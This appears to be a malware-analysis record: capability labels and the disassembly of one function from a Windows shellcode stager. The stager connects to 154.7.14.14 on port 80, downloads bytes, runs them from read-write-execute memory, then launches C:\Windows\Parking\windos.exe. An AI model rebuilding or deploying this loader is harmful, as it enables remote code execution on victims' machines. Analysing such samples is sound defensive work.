Function at 0x401580
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create process on windows
Create tcp socket
Create udp socket
Initialize winsock library
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41259b
mov eax, dword fs:[0]
push eax
mov eax, 0x21ec
call fcn.00409a60
mov eax, dword [0x41803c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x1a4]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x4015ed
push 0x401560
push str.Failed_to_initialize_Winsock
push 0x41a128
call fcn.004021b0
add esp, 8
mov ecx, eax
call fcn.00401950
mov eax, 1
jmp 0x401931
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 0x1b0], eax
cmp dword [ebp - 0x1b0], 0xffffffff
jne 0x401636
push 0x401560
push str.Failed_to_create_socket
push 0x41a128
call fcn.004021b0
add esp, 8
mov ecx, eax
call fcn.00401950
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
jmp 0x401931
mov ecx, 2
mov word [ebp - 0x1c4], cx
push 0x50
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x1c2], ax
push str.154.7.14.14
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x1c0], eax
push 0x10
lea edx, [ebp - 0x1c4]
push edx
mov eax, dword [ebp - 0x1b0]
push eax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x4016b8
push 0x401560
push str.Failed_to_connect_to_server
push 0x41a128
call fcn.004021b0
add esp, 8
mov ecx, eax
call fcn.00401950
mov ecx, dword [ebp - 0x1b0]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
jmp 0x401931
lea ecx, [ebp - 0x21dc]
call fcn.00401b50
mov dword [ebp - 4], 0
mov edx, 1
test edx, edx
je 0x401742
push 0
push 0x2000
lea eax, [ebp - 0x21cc]
push eax
mov ecx, dword [ebp - 0x1b0]
push ecx
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp - 0x21e0], eax
cmp dword [ebp - 0x21e0], 0
jg 0x4016ff
jmp 0x401742
lea edx, [ebp - 0x21e8]
push edx
lea ecx, [ebp - 0x21dc]
call fcn.00401ba0
mov eax, dword [eax]
mov dword [ebp - 0x21e4], eax
mov ecx, dword [ebp - 0x21e0]
lea edx, [ebp + ecx - 0x21cc]
push edx
lea eax, [ebp - 0x21cc]
push eax
mov ecx, dword [ebp - 0x21e4]
push ecx
lea ecx, [ebp - 0x21dc]
call fcn.004024b0
jmp 0x4016ca
mov edx, dword [ebp - 0x1b0]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x1c8], eax
cmp dword [ebp - 0x1c8], 0
jne 0x4017b4
push 0x401560
push str.Failed_to_load_kernel32.dll
push 0x41a128
call fcn.004021b0
add esp, 8
mov ecx, eax
call fcn.00401950
mov dword [ebp - 0x21ec], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x21dc]
call fcn.00401b80
mov eax, dword [ebp - 0x21ec]
jmp 0x401931
push str.VirtualAlloc
mov eax, dword [ebp - 0x1c8]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x1a8], eax
push str.VirtualFree
mov ecx, dword [ebp - 0x1c8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x1ac], eax
cmp dword [ebp - 0x1a8], 0
je 0x4017f6
cmp dword [ebp - 0x1ac], 0
jne 0x40183b
push 0x401560
push str.Failed_to_get_address_of_VirtualAlloc_or_VirtualFree
push 0x41a128
call fcn.004021b0
add esp, 8
mov ecx, eax
call fcn.00401950
mov dword [ebp - 0x21f0], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x21dc]
call fcn.00401b80
mov eax, dword [ebp - 0x21f0]
jmp 0x401931
push 0x40
push 0x1000
lea ecx, [ebp - 0x21dc]
call fcn.00401bd0
push eax
push 0
call dword [ebp - 0x1a8]
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0
jne 0x4018aa
push 0x401560
push str.Failed_to_allocate_memory_for_shellcode
push 0x41a128
call fcn.004021b0
add esp, 8
mov ecx, eax
call fcn.00401950
mov dword [ebp - 0x21f4], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x21dc]
call fcn.00401b80
mov eax, dword [ebp - 0x21f4]
jmp 0x401931
lea ecx, [ebp - 0x21dc]
call fcn.00401bd0
push eax
lea ecx, [ebp - 0x21dc]
call fcn.00401bf0
push eax
mov edx, dword [ebp - 0x1b4]
push edx
call fcn.00406e60
add esp, 0xc
mov eax, dword [ebp - 0x1b4]
mov dword [ebp - 0x1cc], eax
call dword [ebp - 0x1cc]
push 0x8000
push 0
mov ecx, dword [ebp - 0x1b4]
push ecx
call dword [ebp - 0x1ac]
push 0
push 0
push 0
push str.C:WindowsParkingwindos.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [ebp - 0x21f8], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x21dc]
call fcn.00401b80
mov eax, dword [ebp - 0x21f8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00402d88
mov esp, ebp
pop ebp
ret